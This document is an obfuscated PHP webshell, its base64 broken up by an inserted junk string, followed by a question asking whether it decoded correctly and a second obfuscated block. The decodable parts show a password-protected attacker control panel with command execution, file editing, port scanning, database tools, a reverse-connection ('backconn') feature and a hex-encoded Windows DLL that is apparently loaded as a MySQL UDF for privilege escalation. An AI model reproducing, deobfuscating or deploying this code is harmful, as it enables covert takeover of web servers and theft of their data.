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 ?>

Did this file decode correctly?

Original Code

F0YSvfewkbGluavfeykvfegb3IgZGllKG15vfec3FsX2Vycm9yKCkpOwoJQG15c3FsX3F1ZvfeXJ5KCJEvfeUk9QIFRBQvfekxFIHVkZvfelvfe90ZW1wIiwgJGvfexpbmspOwvfeoJvfeJHF1ZXJ5PSJDUkVBVEUgVEFCTvfeEUgdWRmX3RlbXAgKHVkZiBCTE9CKTsiOwpvfepZighKCRyZXN1bHvfeQvfe9bvfeXlzcvfeWxvfefcXVlvfecnvfekvfeoJHF1ZvfeXJ5LCAkvfebGluaykpKQpkaWUoJ7S0vajBvfe2cqxse3Kp7DcJy5teXvfeNxbF9lcnJvcvfeigpKvfeTsKZWxzZvfeQp7CiRvfejb2RlPSIvfeweDRvfeENUEvfe5MDAwMDMwMDAwMDAwNDAwMDAwMEZGvfeRkYwMDAwQjgwMDAwMDAwMDAwMDAvfewMvfeDQwvfeMDAwMDAwMDAwvfeMDAwMDvfeAwMDAwMDvfeAwMDAwMDAwvfeMDAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMDAwMDAwMDvfeAwvfeMDAwMvfeDvfeAwMDAwMDAvfewMEUwMDAwMDAwMEUxRkJBMEUwMvfeEvfeI0MDlDRDIxQjgwvfeMTRvfeDQ0QyMTU0Njgvfe2OTczMjA3MDcyNkY2NzcvfeyNjE2RDIwNjM2MTvfeZFNvfekU2Rjc0MjA2MjY1MjA3Mjc1NkUyMDY5vfeNkUyMDQ0NEY1MzIwNkQ2vfeRjY0NjUyRTBEMEQwQTI0MDAwMDAwMDAwMDAwMDA5QkJCOUEwMkRGREFGNDUvfexREZEQvfeUY0NTFvfeERkRBRjQ1MUE0QzZGODUvfexRvfeEvfeREQUY0NvfeTE1Q0M2RkE1MUNCREFGNDUxMzdDNUZFNvfeTE4QkRBRjQ1MURGREFGNDUxRENvfeEQUY0NTFCvfeREvfeM1RTc1MvfeURBREFGNDUxREZEQUY1NTvfeE4NERBvfeRjQ1MTM3QzVGvfeRjvfeUvfexvfeRENEvfeQUY0NTEzN0M1RjAvfe1vfeMURFREFGNDvfeUxNTI2OTvfeYzNjhERvfekRBvfeRjQ1MTAwMvfeDAwMDvfeAwMvfeDvfeAwvfeMDAwvfeMDA1MDQ1MDAwMDvfeRDMDEwMzAwQjI5NzZBNDvfeYwMDAwMDAwMDvfeAwMDAwMDAwRTAwMDBFMjEwQjAxMDYwMDAwNTAwMDAvfewMDAxvfeMDAwvfeMDAwMDvfekwMDAvfewMDvfeEwRTYwMvfeDvfeAwMDBvfeBMDAwMDAvfewMEYwMDAwMDAwMDAwMvfeDvfeEwMvfeDAxMDAvfewMDAwvfeMDAyvfeMDAvfewMDA0MDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDAvfewMDAxMDAwMDEwMDAwvfeMDAwMDAwMDAwMDvfeIwMDAvfewMDAvfewMDvfeAwMTAwvfeMDAwMTAwMDAwMvfeDAwMvfeDEwMDAwMDEwMvfeDAwMDAwMDAwMDAwMTAvfewvfeMDAvfewMDBEOEYwMDvfeAwMDc0MDAwMDAvfewMvfeDBGMDAwMvfeDBvfeEOvfeDAwMDAwMvfeDAwMDAwMvfeDAwMDAwMDAwvfeMDAwMDAwMDAwMvfeDvfeAwMvfeDvfeAwMDAwMDAwMDAwMDvfeAwMDAwMvfeDAvfewMDRDRjEwMvfeDAwMEvfeMwMDAwMDAwMDAwMDAwMDvfeAwMDAwMDAwMDAwMDAwMDvfeAwMDvfeAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMvfeDAwMDvfeAwMDvfeAwMDAwMDvfeAwMDvfeAvfewMDAwMDAwvfeMDvfeAwMDAwMDvfeAwMDvfeAwMDAwMDAwvfeMDAwvfeMDAwMvfeDAwMDAwMDAwMDAwMvfeDAwMDAwMDAwMDAvfewMDAwMDvfeAwMvfeDAwMDAwMDvfeAwMvfeDAwMDAwMDAwMvfeDAwMDAwMDvfeAvfewvfeMDAwMDAwMDAwNTU1vfeMDU4MzAwMDAwMDAwMvfeDAwOTAwMvfeDAwMDAxMvfeDAvfewMDAwMDAwMDAwMDAvfewMDQwMDAwMDAwMDAwMvfeDAwvfeMDAwMDAwMDAwMDAvfewMDvfeAwODAwMDAwvfeRTA1NTUwNTgzMTAwMDAwMDAwMDA1MDAwMDAwMEEwMDAwvfeMDAwNDgwMDAwMDAwNvfeDAwMDAwMDAwMDAwMDAwMDAvfewMDvfeAwMDAvfewMDAwMDA0MDAwMvfeDBFvfeMDU1vfeNvfeTA1ODMyMDAwMDAwMvfeDvfeAwMDEwMDAwMvfeDAwRjAwMDAwMDAwvfeMjAwMDAwMDRDvfeMDAwMDAwMDAwMDAwvfeMDAwMDAwvfeMDAwMDAwMDAwvfeMDQwMDAwvfeMEMwMDvfeAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMDvfeAwMDAwMDAvfewMvfeDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMDAwMvfeDAvfewvfeMDAwvfeMDAvfewMDAwMDvfeAwMDAwMDAwMDAwMDAvfewvfeMDAwMDAwMvfeDAwMDAwMDAwMDAwMDAwMDAvfewMDAwMDvfeAwMDAvfewMDvfeAwMDAwMDvfeAwMDAwvfeMDAwMDvfeAwMDAwMDAwMDAvfewMvfeDAwMDAvfewMDvfeAwMDAwvfeMDAwMDAwvfeMDAwMDAwMDvfeAwMDAvfewvfeMDvfeAwMDAwMvfeDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwvfeMDAvfewMvfeDAwMDAwMvfeDAwMDAwMDAwvfeMvfeDAwMDAwMDAvfewMDAvfewMDAwMDvfeAwMDAwMDAwMDAwMDAwMDAwMvfeDAwMDAwMDAwMDAwvfeMDAwMDvfeAwMDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwMDAwMvfeDAwMDvfeAwMDAwvfeMDAwMDAwMDvfeAwMDAwMDAwMDAwMDvfeAwMDAwMDAvfewMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwvfeMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMvfeDAwMDAwMDAwMDvfeAwMDAwMDAvfewMvfeDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwMvfeDAwMvfeDAwMDAwMDvfeAvfewvfeMDvfeAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMDAwMvfeDAwMDAwMDAwMDAwMvfeDAwMDvfeAwMDAwMvfeDAvfewMDAwMDAwMDAwMDvfeAwMvfeDAwMDAwMDAwMDAwMDAwMDAwMDAwvfeMDvfeAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMDAwMDAvfewMDAwMDAwMDAwMDAwMvfeDAwMvfeDAwMDAwMDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwvfeMDAwMDAwvfeMDAwMDAwMDAwMDAwMDAwMDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMvfeDAwMvfeDAwMDvfeAvfewMDAwMDAwMDAwMDvfeAwMDAwMDvfeAwMDAwMDAwMDAwMDAwMDvfeAwMvfeDAwMDAwMDAvfewMDAwMDAwMDAwMDAwMDAwMDAwMDAwvfeMDAvfewMDAwMDvfeAvfewMDvfeAwMDAwMDAvfewMDAwMDAwMvfeDvfeAwMvfeDAwMDAwMDMyMkUzMDMvfeyMDA1NTUwvfeNvfeTgyMTBEMDkwMjBBNDU5NDc1QzU5RkNDNTg3NjvfeMyQzkwMDAwMEY0NjAwMDAwMEIvfewMvfeDAwMDI2MEvfeEwMEJDNkZFREvfeRERkY1NThCRUM2QUZGvfeNjgwMDAwNvfezvfeE0ODA0MEVEMDY0QTEwvfeNTA3NTA2NDg5RvfekZvfeEvfeOEZGOUYvfeyNTgvfezRUMvfewvfeQzUzNTY1Nzg5NjVFvfeOEM3NDvfeVvfeGQzBGN0vfeQwQzAxNzvfeUyMzZBMDBGRkVEQjcvfe3QjAxMkUwNUvfeIwMDhGRjE1MDk3MDAwODk0NUU0RUIwOUI4MUU3MzYzvfeQkIwMTI0QzM4QjJGRvfekYwMDBvfeGOvfeEvfeI0REYwNUZGNkZGRDk0RTBENUY1RTVCOEJFNTVEQzIvfewQzAvfewvfeOTAwMDhCvfeNDQyNDvfek5QUNGREY2MDRDNzQwMDgxQzvfeEwMDQzMkMwQzMwRjvfehGNThGREFDvfeNvfe0QwMDgxRUM4QzvfeA5MDU5MkM2OvfeDVFOEZCRkY3Nvfe0RGQkQ2MTAwQjlGRjE3MzNDMDhvfeEQkRFOTvfeBERjNBQjY2QUvfeJBQTMzREI4OTVERkM4QjMzREJCQvfekZGNDUwQzgzMzgwMTBGODU3NzAzODA0ODA0MzkxOTBBNkM1vfeM0VGRkVGRkJvfeGODA5ODhCNvfeTAwvfeODhCMDI1MEU4MEEwMDVEREM4M0M0MDvfeg4NvfeUMwMEY4NDUxMvfeUE4ODlEQvfezhGvfeNkY3MjAyNzvfeZCNDE0RUM5RjZDvfeNzg1QkMwQTlvfeGvfeRDlEQzVEvfeMEMxNjg5OvfeURDMDA5MEZDNEQ4NTNBMUZCRjvfeZERjhEOEQxQTUxOEQ5NvfeUNDvfeRkEwNjUyOEQ4NUI4MvfeEQ1vfeMDBFQjvfeM5OTY2vfeMUIyQzI1vfeNkM0NDI0NkNDREY3RUZCvfeMTE2Mvfejg4Qjg1MkE4OTvfeg1QUNGNjvfeA1vfeQvfeTg2NkVFRUUvfe4QzZDNTU5Qzk4NTY2ODA1MDEzNvfeDc3NvfejcyM0vfeNEOTVDvfeOvfeDUvfeyMjQvfewQ0JGQkE4ODgzQzlEvfeRkRDRkZCN0ZGvfeOUvfeNGMkFFRvfejvfedEMTJCRjvfek4QvfekYvfe3OvfeEJGQThCRDEvfexMDBFNEY4QkNBQzFCM0vfeNERkRvfeGNkU5MDJGM0E1MDY4M0UvfexvfeMDNGM0Evfe0RkJGMjA4MzU2NkI2MDREODhvfeCMzkzMjg0QjRDMUI1REI2MEU2RDhGQkIxNTMwMDZBMDEvfewMvfe0ZvfeGNkI2MzgzvfeOEE1MzvfehCMjBCNDI4M0JDMzc1MkQ2QTBBNkvfeQ4NDQzNkVGvfeMEU4RkIxQzRvfeGNvfeDczQURCQUYzRDvfedDMTI1MTY2NzAzODBCNTvfeJFOTE3vfeMvfeDvfeU5RTBvfeCNjdCMzBDvfeRjcyQTE4QjlEMEvfeZvfeBNDBGQjBFvfeNzIvfexMDZBRDFGQTY4vfeMDNGQThEMUQ5vfeM0NCRDhEODQyNjhGRjE0RDBGQUM0N0UwOTkwNTgzQTU0OEQ2NEQ5QkEvfe2RjNFRTUvfexMTdFOvfeEJvfeGMDgvfe5QjU2NEIvfe5vfeNTvfeM1RUMvfe4MDNDMjk5M0IwNDZBQTvfeE4QkI4MTBDvfeRDJFRDgxQjBFNTY3NDIvfewQvfezvfeYzQzEwRkZCOUU1Mvfe0I3MkM2vfeMDAvfewMTYvfezRThFQkJBMTgvfe4MkZCQjdCOTg1MDQzNvfekQ0MTEwNUIwNTk2QTIwNvfekEwMzA0OUQzMDZvfeCNkUwMvfezdEN0VCMkJGMENGNkIxNzFGMzdCNjg4M0ZFRkvfeYvfe2QTg1Mzg1NjE4RENvfeFRkVvfeGvfeMkQ5NEY4vfeODlCRDQwOEQ0NzY0vfeQTgwRkY2NTJGMURDMkY5NDJEQjk1OTBDODkvfewMzZvfeBvfeOUQ1Njcvfe5RjhDRkJFvfeNTY0RjAxNvfeTE1MDMwMTA4QjvfeEzQzYvfewNDNBMvfeDAwOTQ0NvfekMvfewM0vfeU0MEvfeJEMThCM0JEOTY4N0UyQvfezAvfe4OTMxODU4MEMwvfeNEVCMzYvfe2QTY0QjY2QzhvfeEQzk3vfeMkQwMzEvfe3vfeNDU4MTM1OTRFQ0UwRTUzQzE2NvfeTUxQvfezgzQkU5MjBGREM5MUU0OThCNTvfeUxNDg5MEFFOThCMDNFNjNGNjFFRTIzQzMvfe2OEvfeM4MEI2Mzg5vfeNTAwQzNCRDM3QzI5MzlEODc1MvfeUEzMjMzQzA3RjMwMDFCQjcwvfeOTE1vfeNTM1N0EwvfeQzgzOTEwvfeREJCOTU0vfeNTvfeExNDIwQzgvfe2NTFvfeDOEQvfezOTFBQzkxQUU4RDUvfexMzc2M0YyNvfeEvfeM5NTUyQ0vfeRCMDvfeAvfe2OUI2vfeQ0MyQTRFOTY1NTFvfeDNTFDOEI2Qzcvfe2Njk1RDUzMEMxRkE4NkNCvfeMvfejvfeQzQvfezI3vfeQjvfeBDMjk4QjVCQTVDM0vfeE3MvfeUI0RjA4QTQwRjhCNvfeDAwQzg2NzRERDVCNzvfeY4QzA3QkMvfe5MvfeTvfeU5vfeMUIwMDEzMEJDOEFFRjFvfeCNzJDMvfeUvfeQ3NTA2ODNDOEZGQzvfeJDMzBFMDvfeVEQvfe0MwMvfezBEvfeNzRFMvfeDYwvfeQzc0MvfeDkyRkYyvfeMDJFREI0MzvfeI5MDU0vfeNTU0NDvfeYvfe4MDIwMjE3RjZGRUJGRkU3MTM0RjdEOvfeDFCQzvfeA0MDgxQvfezQxQTVFOvfeTAzRDgxNEMwNjBGNjgwOEI4NjQwNDIvfe2QjvfeA3M0vfeE0NjYxMjFDODvfeY2RENCQjY0MTdCODgvfe1REE4NzvfeQwMUvfeE5MDJBREIxN0VFM0QyQjc2NjvfeAzvfeQjU4ODvfeQ1QjcxNjgvfe0RkvfeVGMTg4ODU5vfeMEZGRkU3RDcyvfeQkIwNjU2M0Y4NEJEOTEwQvfeUU5ODNDRjNvfeGNEY5vfeQjJFMzQ3RDk0MkM2QTAyMjI3MTc1OTQzQvfejVBMDEvfe4Q0VERjc3NTvfeE2MTZGvfeQzE3MDhFQzNvfeGNvfezkwNDQ4ODhGRUZFNzExMDNCQzc3NTvfeFENTYwQTFvfeCQzYwQjZDvfeMTQzMjZvfeBMTA3QThENzQyvfeMzVGNjFCvfeOEU3vfeM0E1MjE4MEYvfe2vfeNkRCOEQyQzJDODg5ODBCNTMxQ0FFOUEzMvfezhGQ0EvfewMvfekREODI3vfeQTFEMEUyMDNEQjvfehDvfeOUI1MzdEQzkwMDRCOTgyN0U4QjMwODvfelDQUI0RDZEvfeMvfezdDQvfejAxRDgwQjQ3MUQzMzcxvfeMTBDRTc0OEJFRERFQvfezZGvfeNkEwODFBQvfeThEvfeMvfeTc3RTY0ODlFMDRBMEvfeI2MTM4RDU1QThFMzvfeI3MzI1QTAwNDM4RDdEQTvfeg4M0NFMkQ2vfeNTZCMDc2M0NFNDU3NTM3RTvfeU5QjUxvfeMkZEOEIvfe3QzEwMjhCOEI4NvfeTk2vfeNTA0NTIyRDlCRTFCNjE0vfeNvfeDQxOEQ0REE4ODVDOTc3REQxvfeNjk2MTM5QzJFMDYyNvfeDlDMjM4RDQ3MjgzNDE2MDc1MEQvfeyODk1NDI4Mvfe0I3MDgwMENGMkMvfe2NzUyNvfejUzNzvfeU0N0Mvfe4NEI2Q0MwMjVDRjAvfe3MEQwvfeNDhDRkZGRURGNUVCQzg1NvfeDvfelvfeFNDIwMDg2NvfekU0NTE2QTI4QvfeUUxvfeMUvfeRCNkU2MUJDvfeNTJGODhEvfeMjA3MjIyOUQ0ODlBQjM5ODVEMkMxRDvfehCMzU3vfeODFDODhEMvfeTFCMzvfeAyQTZDMzdERvfejU5NjgzMTE2NTlGRkZGMvfeTE1vfeMUJFODJCOTZENDJEvfeNkvfeZDODRGRUQ1MTA1MkQ5ODVDRDA2QTvfeUwOTFDRUvfeJDNUJBvfeOvfeTQ1MDYwNTIwMjJvfeDMDvfeY5vfeRTBGvfeMvfezk4MUM1MTE3OvfeDhGQTQwNEZvfeDRjY4NDUwMjIvfe4Qjc1MDg3Q0MwODA3RTAvfe5MDYwQvfeTRvfeCNzvfec1QjcxQvfeTg1RjhCNUUwvfeQvfezIwvfeRDQ2OUvfeQ5RDExNvfeUNFRjkyMDExQvfezvfehvfeCODBEMTI0Q0I2MvfeTcvfe3RUE5OEFCvfeNkUwMEZvfeDMUUwMDIvfe4QkM4MDNDvfeNjA0QzQ2ODE0MUFEvfeRjvfeAvfeyQ0MvfezM0M5OEvfeE3REJGQjU2vfeNkZCvfeRUY1RTRDQzFFMTAyMvfeDvfeU4RDE0MvfeDE4OvfeTU1RTA4MDNBvfeNEvfeQ0RjvfeU4NkvfeY4RvfejgxOEJCOUFBMDFDQzhvfeCvfeRjJFMjY2RjNBN0VEMENGMjZDMTY0MTAyQzAxvfeNTvfelvfeEMDU0MkQvfe4NzU0NzcyMvfeDVvfeCMDRDvfeMkMzOTA4vfeQvfezvfeEwRDAwREE2RTBENvfejdFRjE5NjhEMDAvfe3MDAxMDvfeM0RTkvfewQjg3OvfeTVvfeCQzUvfe5QzgyREVEMvfeTUzM0Y2MDdvfeCODvfeA3NzRDMDNGRvfekI5MDvfeA5QvfezE4M0MyMDYyOThBMDIvfezQzIxNjdERjdGvfeRTk3NDNvfeDODQzQvfejFCM0MwQTvfec0MTc4ODg0MzUzMDQyMUI0NkQ4ODk4NDY3vfeNDRFvfeQkRCN0ZCOTA3Q0vfeFCQvfekZGNkYyOUvfeI2QjUzQzMzRDJvfeGM0E2NzUzQjg4OTU0QzBCQjkxOEQ5vfeNjJDODYwNzg0REIvfezNEM3NjcvfezOTAzOEMwQjEwQjZDNjhFODAzQzU5Mzcvfe4MjcxRUVvfeCMjU0QTFEOvfeEUyMzY1MzRCMvfeDMwvfeMUJCMTvfeM1NzI4vfeMTQ0vfeQzYwRjRGvfeOTQwMEQ3NvfeDvfekzQzc3vfeQzcwMzvfeBvfeCNUUzODJFODFEOEJCN0YxQTgzN0vfeMyNDEwMDI3NTEzMDYwNDA1NzUwQzVCvfeNjQ2NvfeDA0NkI1RjvfeIzvfeQzM1NzA4NEYxNzkyMTNDODg4MTQvfewNTI1RjFFQ0EyNjM4MTBDNTQ1NkM5MTM0Q0Q4QzlDMjJDQkQ0RkU0ODVEQkNvfeFvfeRTvfeQ5OTUvfe2NkJGNvfekNGRTBGQThCQ0IyQkNFNDkwQzA4MvfeDQ5MDRCQjgwNzY4MDvfeQvfeyNzAwRTBGRTM5NzIyMUY3MvfejQ0MzQvfe1NThFMEZFODEwOEQvfe4Nvfe0I5NjAwMkY4vfeQkZCMUIyQTIzMjc4MzdvfeDRDk4QkZBQ0vfeJDQjUwNvfezNCQvfe0M4OvfeDU1MDkvfe4RTBGRThvfeENkZCRkFDMvfeDNCN0IvfexMvfeERDQzvfeYzREMwvfeREFGMjM0QjIxRvfeDEvfe4REM0N0FGMDJBRkE3QTU2OEY2MzhvfeGQTJDvfeMEVCMEMwMzvfeU0QUQ0NkYyQzUwNUVFRDQ4ODIxQjAxQTYwQTA4MUMvfe0MTEyNjg0QzNDRkY0NDI1vfeNjg5RkYzQjc3RDc3ODU3MvfeDvfeQwQ0I5MTEyODBEMTA4RvfeDdvfeDMjvfeQxOvfeEYzQvfeUI4RDvfeRDMjQvfezQvfejvfeBEvfeMDYvfe5QjZDMTQ1MUFCMzQzMTAvfexQkEwQjA0vfeMUIwMTExRTU3MjRFNjRGMDY2NTA3MjBENTUzRDvfeg3NTVGRDA0QkE5MTc0NjYzODBFvfeNkvfeUvfe4RDvfeU0MjQwOEQvfe3MzFvfeGNjJEvfeOTI1MjY2MTgvfexMvfeTA4NDvfeM1vfeQzVDOEY0RjRBvfeNzYxOvfeDUwNTE0Rjk0ODExMDZBNUvfeNERkJGRUFDQzQwNDQwNzZDMTU4OUI0MvfejQ4MDk2NzvfeRDvfeNjc2NTvfeJERDIvfe0N0MwMzc4OEM1RkI2NUU1NvfekI4N0I0OUJDQkZGMEZGMjU1QjNDvfeQ0NDQzhEODdENEUxNjvfec0NzU1vfeRTdvfeGMEZGNDJERjg2QzvfeAwRDVvfeGNjEzQzVENkM3OTA0vfeRjc0MTA0ODY4QjIzQjgwNjU0MjM3NDBGNzk1Q0VGvfeRENEN0I3QTUxMDvfeg5MDJCODYzvfeQvfezMzRTEyMTA1MDZvfeBRkU1QzkwOEU3RjQwvfeRjg2NEZGMzVBOvfeTAwMTk4RTvfeFBQvfejUyNTI5NvfeTgyRkRERDVCNvfeEvfeJvfeGQzBFvfeRDc0MkUzQjkzMjQ3NEZvfeBvfeMzQvfe3NjhCMENCMzg5vfeNvfeTvfelCRDJEQjUwvfeQvfeTAyQzMwNEIzOvfeTQ3NTEvfeyNjhGN0RCvfeQkvfeZFREJvfeEMkRCMvfezdEMEVBQUZGNTQwOEVCQzM2NDhGMDU0MzIzNkM3Mjgvfe2RUE4QzFBvfeNjQ4QjlDODE4vfeNEZvfeGODNERvfejc5MDQ2vfeODc1MTBFMzUyMEMzOTUxMDvfeg3NTA1Q0vfeYvfe0vfeRDAvfe1QkvfeJGQjUzNvfeTFCQjFFMThFQjBBMDgyNDg5REvfeZvfeEQ0I3QjvfeY0QjAyNDM5RDZCMEMvfe1OTVCRkNFRjU2vfeNvfeDMzMjMwMDYvfe5vfeRjBCRjc1ODQzMzAzMEY3QTVGQvfeUZDRDgvfeyQzEwREJEMTBDNzvfeRGNzQwRTQyNjvfegyQjU4REQvfe2M0UzRjvfeQ1RjgxMkUxMvfeUI4RDA4vfeQjY3vfeRvfejk3QUQzRTIxNzvfeM3QjA4QvfezE2MThEMEM3NkIxOEZFQTvfeZFRUQ1Rjc0NDvfeU1vfeNjU1OEQ2QjEwQTgvfewQjvfeVENUU0MTBCMzNCQkUvfe4NUVENjMzNzgzQzIvfe1vfeNTM0RjBERvfeDQxRDJCMzhEM0FGNTYwQzBvfeFMTY4RDM2QjdERUvfeREQjvfeZDvfeNTY0OEYzvfeNTvfehGvfeNTUwQzNCMDhDNzdFQkY3MzMwvfeMUE4vfeQjM0OEZFQkEvfexQjhEQkVCMUNDOvfeUVCMTU4ODREvfeRDvfeY3QTVDMDvfeAzRjVEMTY0NjZGNjg0Mzk0QkMzQjhCMjk4QjQxOUvfeZDQvfezI1NkJCNDAzMTgyNvfeEUvfexRDc2vfeM0Q5QjY2RTIwQ0Y1NkJvfeERThDMEUvfewvfeMTvfeBFMjQ3ODVvfeFRvfeDc1vfeRUM0MjNDMEFFMERENUIvfewRDFBN0U0REU0N0YzNDE2OEvfeQ1QUZGM0FvfeERDc2vfeNkIvfexvfeQvfejvfekyNzg0RDFDOvfeDAyMDc3MEQ